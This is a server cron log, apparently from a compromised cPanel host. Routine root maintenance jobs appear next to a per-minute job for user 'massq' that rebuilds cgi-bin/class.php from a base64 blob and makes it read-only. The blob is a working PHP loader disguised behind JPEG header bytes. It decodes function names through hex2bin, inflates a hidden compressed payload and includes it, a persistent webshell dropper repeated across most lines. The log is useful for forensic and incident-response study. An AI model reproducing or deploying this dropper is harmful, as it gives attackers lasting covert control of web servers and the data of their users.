Sep  2 16:44:01 server CROND[22984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:44:01 server CROND[22985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:45:01 server CROND[23406]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 16:45:01 server CROND[23407]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 16:45:01 server CROND[23410]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:45:01 server CROND[23411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:45:01 server CROND[23412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:45:01 server CROND[23409]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:45:01 server CROND[23408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:46:01 server CROND[24232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:46:01 server CROND[24233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:46:01 server CROND[24234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:47:01 server CROND[24604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:47:01 server CROND[24605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:47:01 server CROND[24606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:48:01 server CROND[25090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:48:01 server CROND[25089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:48:01 server CROND[25091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:49:01 server CROND[25551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:49:01 server CROND[25553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:49:01 server CROND[25552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:50:01 server CROND[25937]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 16:50:01 server CROND[25939]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 16:50:01 server CROND[25940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:50:01 server CROND[25951]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 16:50:01 server CROND[25949]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 16:50:01 server CROND[25948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:50:01 server CROND[25953]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:50:01 server CROND[25954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:50:01 server CROND[25955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:51:01 server CROND[26772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:51:01 server CROND[26773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:51:01 server CROND[26774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:52:01 server CROND[27138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:52:01 server CROND[27139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:52:01 server CROND[27140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:53:01 server CROND[27508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:53:01 server CROND[27510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:53:01 server CROND[27509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:54:01 server CROND[27878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:54:01 server CROND[27880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:54:01 server CROND[27879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:55:01 server CROND[28378]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:55:01 server CROND[28381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:55:01 server CROND[28384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:55:01 server CROND[28382]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 16:55:01 server CROND[28383]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 16:55:01 server CROND[28385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:55:01 server CROND[28380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:56:01 server CROND[29259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
